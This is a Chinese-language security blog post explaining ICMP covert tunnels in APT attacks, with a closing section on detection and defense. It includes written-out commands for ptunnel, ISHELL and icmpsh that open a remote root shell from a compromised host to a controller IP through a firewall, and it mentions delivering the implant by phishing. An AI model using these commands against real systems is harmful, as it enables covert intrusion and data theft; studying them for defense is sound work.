APT攻击之ICMP隐蔽隧道

发表于 2018年10月12日 Notes,内网渗透,系统安全

高级持续性威胁(Advanced persistent threat)以下简称“APT”。逐渐演化为各种社会工程学攻击与0day漏洞利用的综合体,已成为最严重的网络空间安全威胁之一。
按照kill-chain的理论方法,可以把APT分为7个步骤
1)侦查
2)武器制造
3)武器投递
4)漏洞利用
5)安装恶意程序
6)潜伏控制
7)横向扩散,清除日志

在一系列步骤中,apt攻击非常的隐蔽,传统的安全设备基本不会报警,导致在第一到第五阶段,几乎无法对攻击行为进行检查。在第六阶段的潜伏控制阶段,攻击者基本不会使用传统的cc或者Socket进行通信,http通信方式目前被阻断的几率很大,因为可以通过安全受到进行拦截和限制。目前很多攻击者开始使用更加安全的隐蔽隧道,如dns、icmp、各种协议 over http隧道等,与其他方式相比,隧道的方式隐蔽度较高,因为向dns和icmp等协议是每台主机必须使用的协议,很难进行拦截和阻断,目前高级的APT攻击很多开始使用隐蔽隧道的方式进行数据传输并且已经成为主流技术。
1.png

ICMP全称为因特网控制信息协议其数据包封装在 IP包的数据部分,也就是说它是位于IP层之上的一个协议 但是通常将它归人IP层。

ICMP通过在支持它的主机之间、 主机与路由器之间发送ICMP数据包 来实现信息查询和错误通知的功能。

ICMP有很多类型的数据报,例如,可以利用icmp获取主机信息,当前时间、路由信息,IP数据包可达的错误信息等。正是由于这些功能的实现,方便了开发者和运维人员,同时也为网络攻击者利用ICMP进行攻击带来了可乘之机。

目前,据我所知,利用ICMP有以下攻击手段;
1)利用ICMP echo数据包进行DDOS攻击,
2)利用ICMP重定向报文进行IP欺骗和窃听
3)利用ICMP的路由器的广播报文进行IP欺骗
4)利用ICMP隧道机制绕过防火墙进行远程控制和数据窃取

以上四中攻击方式中利用ICMP进行攻击最严重、影响范围最大就是第4种攻击手法了。也是APT攻击者经常使用的攻击手法之一。

在攻击中,攻击者入侵了一条数据库服务器,当攻击者兴奋的登录控制的系统后,发现该主机对外只开了icmp协议,其他都是禁止访问的。

拓扑图如下:
topology.png

技术实现原理:
IP协议并不是一个可靠的协议,它不保证数据被送达,那么,自然的,保证数据送达的工作应该由其他的模块来完成。其中一个重要的模块就是ICMP(网络控制报文)协议。

ICMP数据包由8bit的错误类型和8bit的代码和16bit的校验和组成。而前 16bit就组成了ICMP所要传递的信息。
如下是icmp的结构图,
icmp_construction.png

icmp本身比较简单,有一个字节的类型和一个字节的代码和两个字节的校验码,其他为数据部分,icmp携带的数据部分默认是32字节。而且携带的数据在windows系统,默认传输32bytes,内容是abcdefghijklmnopqrstuvwabcdefghi,共32bytes
icmp_data.png

看了icmp协议的结构,你是不是在想,data数据的内容能否换成我自己想传输的数据呢?这就是icmp隧道的精髓了,icmp隧道就是要替换掉data部分数据。

那我们能否改变这些data填充我们自己的数据呢? 答案是当然是可以的!

在icmp data中的数据进行更改后,目标设备能否解析内容呢,这就需要工具代替系统自身模块了。

演示环境需要三台主机:
1)内网终端为linux
2)跳板服务器为linux
3)目标服务器为windows

我们所使用的工具为ptunnel

具体操作步骤:
1、在跳板服务器上安装Ping Tunnel工具,下载地址:http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz

安装Ping Tunnel:
yum install libpcap libpcap-devel flex bison -y    #安装运行环境
tar zxvf PingTunnel-0.72.tar.gz
cd PingTunnel>
make && make install   #编译安装
ptunnel      #开启隧道并等待连接

ptunnel.png

在内网终端主机中

参数
-p     指定icmp跳板机地址
-l     指定本地转发端口
-da     指定最终要访问的机器地址
ip-dp     指定最终要访问的机器端口

ptunnel -p XX.XX.XX.XX -lp 1092 -da 139.XX.XX.XX -dp 23

1.png

2.png

3.png

上面案例是介绍了一种利用ICMP隧道进行常规端口的转发的案例。下面结合案例重点说说使如何利用开源工具,绕过防火墙的,在主机不需要开任何端口的情况下如何绕过企业的防火墙对被控主机进行远程控制和窃取数据。

网络环境:
模拟目标的生产环境基本是业务服务器在DMZ区域,客户端在内外区域,服务器和客户端主机可以使用社会工程学方式。例如通过电子邮件钓鱼或者水坑攻击的方式把木马程序附加在pdf文档或者office文档载体中,一旦程序运行,就可以接收到来自攻击者机器上的客户端的ICMPecho数据包,客户端把要执行的指令封装到ICMP数据包中,当服务器接收到该数据包,解析指令,并在受控主机上运行。把结果再封装进ICMP数据包中,回传给攻击者。

模拟目标的防火墙对有外到内的行为是禁止的,但是为了管理和维护方便,一般ICMP协议都是开启状态的。这样就实现了穿越防火墙的目的。

该种攻击,因为对受控主机进行数据窃取和远程控制,所以具有非常大的危害性。

攻击演示:
下面列举了详细的攻击过程和攻击方式,方便更加细致和透彻的理解ICMP隧道的机制。
mubiao.png

首先需要在被控主机上安装ICMP Shell(ISHELL在客户端和服务器端都使用原始套接字,因此需要root权限才能使用此程序)对其进行编译后会生成两个可执行的文件,一个是ish是控制端使用的,一个是ishd是被控端使用的。实际操作中我们应遵循APT攻击中的隐蔽原则,尽量减少在目标服务器上的非必需性操作,可以在本地模拟目标环境进行本地测试后将编译后的文件上传至目标服务器。

命令如下:

wget https://nchc.dl.sourceforge.net/project/icmpshell/ish/v0.2/ish-v0.2.tar.gz
tar -zxvf ish-v0.2.tar.gz
cd ISHELL-v0.2 
make && make linux

ll.png

安装之后,需要在被控端服务器执行如下命令:

-i 指定ID,标识自己的请求
-t 指定icmp数据的类型
-p 指定 icmp 数据 包大小 ,一般 情况下 1024 即可

./ishd -i 555 -t 0 -p 1099 &

在被控主机上执行如下命令,主动连接到

./ish -i 555 -t 0 -p 1099 主控制端IP地址

ishd.png

在主控端,需要指定相同的表示id,以表明自己的身份信息,发送的数据包大小为1099字节,和对方可以ping通的ip地址。就能够通过ICMP协议成功连接到被控主机系统,并且具有root权限,可以进行任何操作。
ish.png

在操作过程中也通过tcpdump对数据流进行数据包,因为icmp是明文通讯协议,所有的数据包通讯内容都可以在数据包中回溯和还原整个攻击的场景,如下图在数据包中可以清晰的看到执行的命令,查看的数据内容,并且可以通过icmp协议传输数据。
tcpdump.png

在icmp隧道的应用中还有一个非常好用的攻击,那就是icmpsh。该软件的稳定性非常好,而且每个1秒受控主机不停的给主控端主机发送ICMP的心跳数据包。

在主控主机上运行如下命令:先关闭主机自身的icmp,防止出现不稳定的情况。

sysctl -w net.ipv4.icmp_echo_ignore_all=1  (sysctl -w net.ipv4.icmp_echo_ignore_all=0 恢复正常状态)
-t:制定主控端的IP地址,必填项
-d milliseconds 延迟
-b num 限制块
-s bytes 发送的最大字节

在主控端执行命令

python icmp_m.py 192.168.1.29[本地主机] 192.168.1.34[被控主机]

受控主机执行:

icmpsh.exe -t 192.168.1.29[主控端地址] -d 600 -b 20 -s 256

icmp.png

对策及防御
了解了icmp的工作原理和攻击的实现过程,是不是检测就比较容易了呢,嗯,也是也不是。
检测容易的原因:
1)只要在主机上把icmp禁止就完全可以杜绝icmp隧道了,但是在实际生产环境中需要知道主机是否存活的一个重要依据,所以很难禁止。
2)对所使用的icmp隧道工具进行检查,嗯,这确实是一个好办法,但是实际环境中一般都是攻击者自己写代码制作的工具,这种是没有特征的,所以对工具进行检查只能禁止开源的工具,不能阻止非开源工具
检查复杂的原因:
1)对icmp隧道进行检查,可以对ICMP数据包内容进行进行检查,是否符合icmp协会规范和RFC标准。这样检查的缺陷是对检查设备性能影响特别大,而且误报率非常高。
2)某些厂商,对icmp报文大小进行检查,因为实际的ping数据包大小基本不会超过100字节,某些厂商通过icmp大小进行检查,检查不是这样做的,误报率高的简直可以骂人了。

折中的方法,可以利用机器学习方法进行检测。例如:可以利用神经网络和贝叶斯算法,对ICMP的异常进行概率统计,找到异常通讯的ICMP数据包,进行安全检测。
最有效的解决方法是在互联网出口对ICMP协议进行完全禁止。或者只对信任的IP源地址开发ICMP通讯。
声明:本文章及工具,仅限用于交流学习,勿用于其他用途.....

* 本文作者:根据透雾(可在微信中搜素公众号:透雾)重新排版及补充完成

标签 / Tag : APT

添加新评论

用户名:
邮箱:
网址:

搜索


© 2018 Notes

Power by Getshell-lab